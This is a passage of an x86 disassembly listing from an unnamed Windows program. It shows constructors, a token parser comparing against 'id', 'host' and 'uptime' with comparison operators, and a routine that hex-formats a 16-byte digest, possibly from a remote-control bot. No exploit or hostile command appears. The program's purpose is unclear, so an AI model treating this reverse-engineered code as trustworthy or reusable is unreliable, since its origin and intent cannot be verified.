Attributes: noreturn sub_412860 proc near ; CODE XREF: sub_4013C5j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_412860 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43F028 mov dword ptr [esi+11h], offset off_43F034 lea ecx, [esi+2DAh] mov [esp+14h+var_4], 10h call sub_401B68 sub_412860 endp ; --------------------------------------------------------------------------- lea ecx, [esi+2ACh] mov byte ptr [esp+10h], 0Fh call sub_401023 lea ecx, [esi+27Eh] mov byte ptr [esp+10h], 0Eh call sub_401023 lea ecx, [esi+250h] mov byte ptr [esp+10h], 0Dh call sub_401023 lea ecx, [esi+222h] mov byte ptr [esp+10h], 0Ch call sub_401023 lea ecx, [esi+1F4h] mov byte ptr [esp+10h], 0Bh call sub_401023 lea ecx, [esi+1C6h] mov byte ptr [esp+10h], 0Ah call sub_401023 lea ecx, [esi+198h] mov byte ptr [esp+10h], 9 call sub_401023 lea ecx, [esi+16Ah] mov byte ptr [esp+10h], 8 call sub_401023 lea ecx, [esi+13Ch] mov byte ptr [esp+10h], 7 call sub_401023 lea ecx, [esi+10Eh] mov byte ptr [esp+10h], 6 call sub_401023 lea ecx, [esi+0E0h] mov byte ptr [esp+10h], 5 call sub_401023 lea ecx, [esi+0B2h] mov byte ptr [esp+10h], 4 call sub_401023 lea ecx, [esi+84h] mov byte ptr [esp+10h], 3 call sub_401023 lea ecx, [esi+56h] mov byte ptr [esp+10h], 2 call sub_401023 lea ecx, [esi+3Dh] mov byte ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+28h] mov byte ptr [esp+10h], 0 call sub_401226 mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_40204F mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412A20 proc near ; CODE XREF: sub_4010BEj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_412A20 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E88 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_402072 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F038 mov dword ptr [esi+11h], 0 mov byte ptr [esi+0ABh], 0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_412A20 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_412AA0: ; CODE XREF: ___:loc_40115Ej ; ___:004016F4j push esi mov esi, ecx call sub_40101E test byte ptr [esp+8], 1 jz short loc_412AB8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_412AB8: ; CODE XREF: ___:00412AADj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412AD0 proc near ; CODE XREF: sub_40101Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_412AD0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43F038 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401979 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_40204F mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_412AD0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412B50 proc near ; CODE XREF: sub_402072j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_412B50 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_40142E lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_40142E lea ecx, [esi+54h] mov byte ptr [esp+14h+var_4], 3 call sub_40142E lea ecx, [esi+69h] mov byte ptr [esp+14h+var_4], 4 call sub_40142E lea ecx, [esi+7Eh] mov byte ptr [esp+14h+var_4], 5 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_412B50 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412C10 proc near ; CODE XREF: sub_401979j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_412C10 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+7Eh] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+69h] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+54h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_412C10 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_412CD0 proc near ; CODE XREF: sub_401F1Ej var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_412CD0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 6 push 9 push 4Fh push 3 push 9 push 7 push 0Fh lea eax, [esp+48h+var_24] push 0Ch mov esi, ecx push eax call sub_4019C4 add esp, 28h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017EE add esi, 4 push eax push esi mov ecx, offset dword_449118 call sub_40159B sub_412CD0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_412D70: ; CODE XREF: ___:loc_40100Aj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43AC4E push eax mov large fs:0, esp sub esp, 90h add ecx, 4 push ebp push esi mov esi, [esp+0A8h] lea ebp, [esi+7Eh] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_413096 push ebx push edi push offset asc_444600 ; " " lea eax, [esp+44h] push 1 push eax mov ecx, esi call sub_4016B8 push offset asc_444600 ; " " lea ecx, [esp+2Ch] push 2 push ecx mov ecx, esi mov dword ptr [esp+0B4h], 0 call sub_4016B8 push offset asc_444600 ; " " lea edx, [esp+14h] push 3 push edx mov ecx, esi mov byte ptr [esp+0B4h], 1 call sub_4016B8 push offset asc_444600 ; " " lea eax, [esp+74h] push 0 push eax mov ecx, esi mov byte ptr [esp+0B4h], 2 call sub_4016B8 mov edi, eax lea ecx, [esp+10h] mov byte ptr [esp+0A8h], 3 call sub_4013E3 lea ecx, [esp+28h] mov ebx, eax call sub_4013E3 lea ecx, [esp+40h] add ebx, eax call sub_4013E3 mov ecx, edi add ebx, eax call sub_4013E3 lea ecx, [esp+70h] lea edi, [ebx+eax+4] mov byte ptr [esp+0A8h], 2 call sub_401226 lea ecx, [esp+58h] push edi push ecx mov ecx, esi call sub_401E47 push offset asc_444600 ; " " lea edx, [esp+8Ch] push 4 push edx mov ecx, esi mov byte ptr [esp+0B4h], 4 call sub_4016B8 lea ecx, [esp+70h] push 1 mov bl, 5 push ecx mov ecx, eax mov [esp+0B0h], bl call sub_401E47 push eax mov ecx, ebp mov byte ptr [esp+0ACh], 6 call sub_40202C lea ecx, [esp+70h] mov [esp+0A8h], bl call sub_401226 mov byte ptr [esp+0A8h], 4 lea ecx, [esp+88h] call sub_401226 lea edx, [esp+58h] mov ecx, esi push edx call sub_40202C push offset asc_444D14 ; "!=" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412EF5 xor edi, edi loc_412EF5: ; CODE XREF: ___:00412EF1j push offset asc_444D10 ; "==" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412F0C mov edi, 1 loc_412F0C: ; CODE XREF: ___:00412F05j push offset asc_444D0C ; ">" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412F23 mov edi, 2 loc_412F23: ; CODE XREF: ___:00412F1Cj push offset asc_444D08 ; "<" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412F3A mov edi, 3 loc_412F3A: ; CODE XREF: ___:00412F33j push offset aId ; "id" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_412F94 test edi, edi jnz short loc_412F6A lea ecx, [esp+10h] call sub_4017EE push eax mov ecx, offset word_44955A call sub_4012EE test eax, eax jz short loc_412F94 jmp short loc_412F87 ; --------------------------------------------------------------------------- loc_412F6A: ; CODE XREF: ___:00412F4Ej cmp edi, 1 jnz short loc_412F94 lea ecx, [esp+10h] call sub_4017EE push eax mov ecx, offset word_44955A call sub_4012EE test eax, eax jnz short loc_412F94 loc_412F87: ; CODE XREF: ___:00412F68j push 0 push esi mov ecx, offset byte_449277 call sub_401A41 loc_412F94: ; CODE XREF: ___:00412F4Aj ; ___:00412F66j ... push offset aHost ; "host" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_412FE7 test edi, edi jnz short loc_412FC8 lea ecx, [esp+10h] call sub_4017EE push eax mov ecx, offset byte_4D809D call sub_4013ED test eax, eax jnz loc_413049 jmp short loc_41303C ; --------------------------------------------------------------------------- loc_412FC8: ; CODE XREF: ___:00412FA8j cmp edi, 1 jnz short loc_413049 lea ecx, [esp+10h] call sub_4017EE push eax mov ecx, offset byte_4D809D call sub_4013ED test eax, eax jz short loc_413049 jmp short loc_41303C ; --------------------------------------------------------------------------- loc_412FE7: ; CODE XREF: ___:00412FA4j push offset aUptime ; "uptime" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_413049 lea ecx, [esp+10h] call sub_4017EE push eax call near ptr 77C1BF18h nop add esp, 4 mov ebx, eax call sub_40165E test edi, edi jnz short loc_41301D cmp eax, ebx jz short loc_413049 jmp short loc_41303C ; --------------------------------------------------------------------------- loc_41301D: ; CODE XREF: ___:00413015j cmp edi, 1 jnz short loc_413028 cmp eax, ebx jnz short loc_413049 jmp short loc_41303C ; --------------------------------------------------------------------------- loc_413028: ; CODE XREF: ___:00413020j cmp edi, 2 jnz short loc_413033 cmp eax, ebx jle short loc_413049 jmp short loc_41303C ; --------------------------------------------------------------------------- loc_413033: ; CODE XREF: ___:0041302Bj cmp edi, 3 jnz short loc_413049 cmp eax, ebx jge short loc_413049 loc_41303C: ; CODE XREF: ___:00412FC6j ; ___:00412FE5j ... push 0 push esi mov ecx, offset byte_449277 call sub_401A41 loc_413049: ; CODE XREF: ___:00412FC0j ; ___:00412FCBj ... lea ecx, [esp+58h] mov byte ptr [esp+0A8h], 2 call sub_401226 lea ecx, [esp+10h] mov byte ptr [esp+0A8h], 1 call sub_401226 lea ecx, [esp+28h] mov byte ptr [esp+0A8h], 0 call sub_401226 lea ecx, [esp+40h] mov dword ptr [esp+0A8h], 0FFFFFFFFh call sub_401226 pop edi mov al, 1 pop ebx jmp short loc_413098 ; --------------------------------------------------------------------------- loc_413096: ; CODE XREF: ___:00412DA9j mov al, 1 loc_413098: ; CODE XREF: ___:00413094j mov ecx, [esp+98h] pop esi pop ebp mov large fs:0, ecx add esp, 9Ch retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4131A0 proc near ; CODE XREF: sub_40165Ej nop call near ptr 27E0C7Ah mov ecx, eax mov eax, 10624DD3h mul ecx mov ecx, edx mov eax, 0C22E4507h shr ecx, 6 imul ecx mov eax, edx add eax, ecx sar eax, 10h mov edx, eax shr edx, 1Fh add eax, edx retn sub_4131A0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4131E0 proc near ; CODE XREF: sub_402018j var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4131E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi mov esi, ecx push edi mov [esp+20h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+20h+var_4], 0 call sub_401753 lea edi, [esi+60h] lea eax, [esp+20h+var_12] push eax mov ecx, edi mov byte ptr [esp+24h+var_4], 1 call sub_401F23 sub_4131E0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+0Fh] lea ebx, [esi+6Ch] push ecx mov ecx, ebx mov byte ptr [esp+20h], 2 call sub_401852 ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+1Ch], 3 mov dword ptr [esi], offset off_43F044 call sub_401933 mov ecx, ebx call sub_401C76 mov ecx, [esp+14h] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4132B0 proc near ; CODE XREF: sub_401D0Cj ___:00401E29j push esi mov esi, ecx call sub_401CA3 sub_4132B0 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_4132C8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_4132C8: ; CODE XREF: ___:004132BDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4132E0 proc near ; CODE XREF: sub_401CA3j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4132E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi mov esi, ecx push edi mov [esp+1Ch+var_10], esi mov dword ptr [esi], offset off_43F044 lea edi, [esi+60h] mov [esp+1Ch+var_4], 3 mov ecx, edi call sub_401933 lea ebx, [esi+6Ch] mov ecx, ebx call sub_401C76 mov ecx, ebx mov byte ptr [esp+1Ch+var_4], 2 call sub_4014BF sub_4132E0 endp ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+18h], 1 call sub_4011B8 ; --------------------------------------------------------------------------- lea ecx, [esi+32h] mov byte ptr [esp+18h], 0 call sub_401023 lea ecx, [esi+4] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+10h] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4133A0 proc near ; CODE XREF: sub_401A05j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4133A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 14h push 15h push 0Fh push 7 push 0Fh lea eax, [esp+58h+var_3C] push 0Ch mov esi, ecx push eax call sub_4019C4 add esp, 20h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017EE lea ecx, [esi+32h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_4133A0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 14h push 5 lea edx, [esp+28h] push 13h push edx call sub_4019C4 add esp, 14h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017EE add esi, 4 push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413490 proc near ; CODE XREF: sub_401CE4j var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 push 0FFFFFFFFh push offset SEH_413490 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0 call sub_4017EE test eax, eax jz short loc_413537 lea ecx, [esp+18h+var_14] call sub_402275 add esi, 6Ch lea eax, [esp+18h+var_10] push eax mov ecx, esi call sub_401901 mov ecx, [eax] lea edx, [esp+18h+var_10] mov [esp+18h+var_14], ecx push edx mov ecx, esi call sub_40114A push eax lea ecx, [esp+1Ch+var_14] call sub_401339 test al, al jz short loc_413537 loc_4134F8: ; CODE XREF: sub_413490+A5j lea eax, [esp+18h+arg_0] lea ecx, [esp+18h+var_14] push eax call sub_40135C mov ecx, [eax] add ecx, 19h call sub_401B86 test eax, eax lea ecx, [esp+18h+var_14] jz short loc_41355C call sub_40118B lea ecx, [esp+18h+var_10] push ecx mov ecx, esi call sub_40114A push eax lea ecx, [esp+1Ch+var_14] call sub_401339 test al, al jnz short loc_4134F8 loc_413537: ; CODE XREF: sub_413490+2Ej ; sub_413490+66j lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 xor eax, eax pop esi mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 18h ; --------------------------------------------------------------------------- loc_41355C: ; CODE XREF: sub_413490+86j call sub_40135C mov esi, [eax] lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn 18h sub_413490 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4135D0 proc near ; CODE XREF: sub_402130j var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 push 0FFFFFFFFh push offset SEH_4135D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push ebp push esi push edi mov ebx, ecx lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0 call sub_4017EE test eax, eax jz loc_4136A3 lea ecx, [esp+28h+var_18] call sub_401037 lea ebp, [ebx+60h] lea eax, [esp+28h+var_14] push eax mov ecx, ebp call sub_401992 mov ecx, [eax] lea edx, [esp+28h+var_14] mov [esp+28h+var_18], ecx push edx mov ecx, ebp call sub_402257 push eax lea ecx, [esp+2Ch+var_18] call sub_401AEB test al, al jz short loc_4136A3 loc_41363F: ; CODE XREF: sub_4135D0+D1j lea ecx, [esp+28h+var_18] call sub_4011D1 mov edi, [eax] sub esp, 18h lea eax, [esp+40h+arg_0] mov ecx, esp mov [esp+40h+var_10], esp push eax call sub_4014D3 mov ecx, ebx call sub_401CE4 mov esi, eax test esi, esi jz short loc_41366C mov edi, [esi] loc_41366C: ; CODE XREF: sub_4135D0+98j lea ecx, [esp+28h+arg_0] push ecx mov ecx, edi call sub_401B86 test eax, eax jz short loc_4136CB test esi, esi jnz short loc_4136CB lea ecx, [esp+28h+var_18] call sub_4018C5 lea edx, [esp+28h+var_14] mov ecx, ebp push edx call sub_402257 push eax lea ecx, [esp+2Ch+var_18] call sub_401AEB test al, al jnz short loc_41363F loc_4136A3: ; CODE XREF: sub_4135D0+31j ; sub_4135D0+6Dj lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0FFFFFFFFh call sub_401226 xor eax, eax loc_4136B6: ; CODE XREF: sub_4135D0+10Ej mov ecx, [esp+28h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 18h retn 18h ; --------------------------------------------------------------------------- loc_4136CB: ; CODE XREF: sub_4135D0+AAj ; sub_4135D0+AEj lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0FFFFFFFFh call sub_401226 mov eax, edi jmp short loc_4136B6 sub_4135D0 endp ; --------------------------------------------------------------------------- db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_413730 proc near ; CODE XREF: sub_401F64j var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_413730 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 lea ecx, [esp+14h+arg_0] mov [esp+14h+var_4], 1 call sub_4017EE test eax, eax jz short loc_4137D4 lea ecx, [esp+14h+var_14] call sub_401E38 lea eax, [esp+14h+var_10] lea ecx, [esp+14h+arg_18] push eax call sub_4012E9 mov ecx, [eax] lea edx, [esp+14h+var_10] mov [esp+14h+var_14], ecx push edx lea ecx, [esp+18h+arg_18] call sub_401D9D push eax lea ecx, [esp+18h+var_14] call sub_401D70 test al, al jz short loc_4137D4 loc_413796: ; CODE XREF: sub_413730+A2j lea eax, [esp+14h+arg_0] lea ecx, [esp+14h+var_14] push eax call sub_401FC3 mov ecx, [eax] call sub_401B86 test eax, eax jz short loc_413806 lea ecx, [esp+14h+var_14] call sub_4020C2 lea ecx, [esp+14h+var_10] push ecx lea ecx, [esp+18h+arg_18] call sub_401D9D push eax lea ecx, [esp+18h+var_14] call sub_401D70 test al, al jnz short loc_413796 loc_4137D4: ; CODE XREF: sub_413730+2Bj ; sub_413730+64j lea ecx, [esp+14h+arg_0] mov byte ptr [esp+14h+var_4], 0 call sub_401226 lea ecx, [esp+14h+arg_18] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401582 ; --------------------------------------------------------------------------- xor eax, eax mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 24h ; --------------------------------------------------------------------------- loc_413806: ; CODE XREF: sub_413730+7Dj push esi lea ecx, [esp+18h+var_14] call sub_401FC3 mov esi, [eax] lea ecx, [esp+18h+arg_0] mov byte ptr [esp+18h+var_4], 0 call sub_401226 lea ecx, [esp+18h+arg_18] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401582 sub_413730 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn 24h ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4138A0 proc near ; CODE XREF: sub_4011DBj var_A4 = byte ptr -0A4h var_8C = byte ptr -8Ch var_74 = byte ptr -74h var_64 = byte ptr -64h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_4138A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 98h push esi xor esi, esi lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], esi call sub_4017EE test eax, eax jz loc_4139D3 lea eax, [esp+0A8h+var_64] push eax call sub_401A69 add esp, 4 lea ecx, [esp+0A8h+var_A4] call sub_40142E push offset byte_448F30 lea ecx, [esp+0ACh+var_A4] mov byte ptr [esp+0ACh+var_4], 1 call sub_4015E1 lea ecx, [esp+0A8h+arg_0] call sub_4013E3 push eax lea ecx, [esp+0ACh+arg_0] call sub_4014DD lea ecx, [esp+0ACh+var_64] push eax push ecx call sub_401C26 lea edx, [esp+0B4h+var_64] lea eax, [esp+0B4h+var_74] push edx push eax call sub_402176 add esp, 14h loc_41393B: ; CODE XREF: sub_4138A0+E8j lea ecx, [esp+0A8h+var_8C] call sub_40142E xor ecx, ecx lea edx, [esp+0A8h+var_8C] mov cl, [esp+esi+0A8h+var_74] mov byte ptr [esp+0A8h+var_4], 2 push ecx push offset a2_2x ; "%2.2X" push edx call sub_40102D add esp, 0Ch lea eax, [esp+0A8h+var_8C] lea ecx, [esp+0A8h+var_A4] push eax call sub_4016C7 lea ecx, [esp+0A8h+var_8C] mov byte ptr [esp+0A8h+var_4], 1 call sub_401226 inc esi cmp esi, 10h jl short loc_41393B mov edx, [esp+0A8h+arg_18] lea ecx, [esp+0A8h+var_A4] push ecx lea ecx, [edx+15h] call sub_401B86 test eax, eax mov byte ptr [esp+0A8h+var_4], 0 lea ecx, [esp+0A8h+var_A4] jnz short loc_4139CE call sub_401226 lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_4139EC ; --------------------------------------------------------------------------- loc_4139CE: ; CODE XREF: sub_4138A0+10Cj call sub_401226 loc_4139D3: ; CODE XREF: sub_4138A0+33j lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], 0FFFFFFFFh call sub_401226 xor al, al loc_4139EC: ; CODE XREF: sub_4138A0+12Cj mov ecx, [esp+0A8h+var_C] pop esi mov large fs:0, ecx add esp, 0A4h retn 1Ch sub_4138A0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413A70 proc near ; CODE XREF: sub_40192Ej var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_413A70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx sub esp, 18h lea eax, [esp+30h+arg_18] mov ecx, esp mov [esp+30h+var_14], esp push eax mov [esp+34h+var_4], 1 call sub_4014D3 mov ecx, esi call sub_402130 test eax, eax jz short loc_413B1E sub esp, 0Ch add eax, 54h mov ecx, esp mov [esp+24h+var_14], esp push eax call sub_401726 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+40h] mov ecx, esp mov [esp+40h+var_14], esp push edx mov [esp+44h+var_8], 2 call sub_4014D3 mov ecx, esi mov [esp+40h+var_8], 1 call sub_401F64 ; --------------------------------------------------------------------------- test eax, eax jz short loc_413B1E lea ecx, [esp+40h+var_24] mov byte ptr [esp+40h+var_2C], 0 call sub_401226 lea ecx, [esp+40h+var_C] mov [esp+40h+var_2C], 0FFFFFFFFh call sub_401226 mov al, 1 mov ecx, [esp+40h+var_34] mov large fs:0, ecx pop esi add esp, 14h retn 30h ; --------------------------------------------------------------------------- loc_413B1E: ; CODE XREF: sub_413A70+3Fj ; sub_413A70+79j lea ecx, [esp+18h+arg_0] mov byte ptr [esp+18h+var_4], 0 call sub_401226 lea ecx, [esp+18h+arg_18] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] xor al, al mov large fs:0, ecx pop esi add esp, 14h retn 30h sub_413A70 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_413BA0: ; CODE XREF: ___:00401393j push 0FFFFFFFFh push offset loc_43AE08 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+18h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401870 mov edx, [esp+30h] sub esp, 18h mov ecx, esp mov [esp+4Ch], esp push edx mov dword ptr [esp+44h], 0 call sub_401870 mov ecx, esi mov dword ptr [esp+40h], 0FFFFFFFFh call sub_40192E mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413C30 proc near ; CODE XREF: sub_401181j var_3C = byte ptr -3Ch var_20 = byte ptr -20h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_4 = byte ptr 8 arg_18 = dword ptr 1Ch arg_1C = dword ptr 20h push 0FFFFFFFFh push offset SEH_413C30 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h push ebx push ebp mov ebp, [esp+48h+arg_18] xor ebx, ebx cmp ebp, ebx mov [esp+48h+var_4], ebx jz loc_413D79 lea ecx, [esp+48h+arg_0] call sub_4017EE test eax, eax jz loc_413D79 push esi push edi push offset asc_444C64 ; ":" lea eax, [esp+54h+var_3C] push ebx push eax lea ecx, [esp+5Ch+arg_0] xor esi, esi call sub_4016B8 push offset byte_448F30 mov ecx, eax mov byte ptr [esp+54h+var_4], 1 call sub_4012EE lea ecx, [esp+50h+var_3C] mov edi, eax mov byte ptr [esp+50h+var_4], bl call sub_401226 cmp edi, ebx jz loc_413D53 add ebp, 54h loc_413CB0: ; CODE XREF: sub_413C30+11Dj push 15h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov dword ptr [esp+4Ch+var_3C], eax cmp eax, ebx mov byte ptr [esp+4Ch], 2 jz short 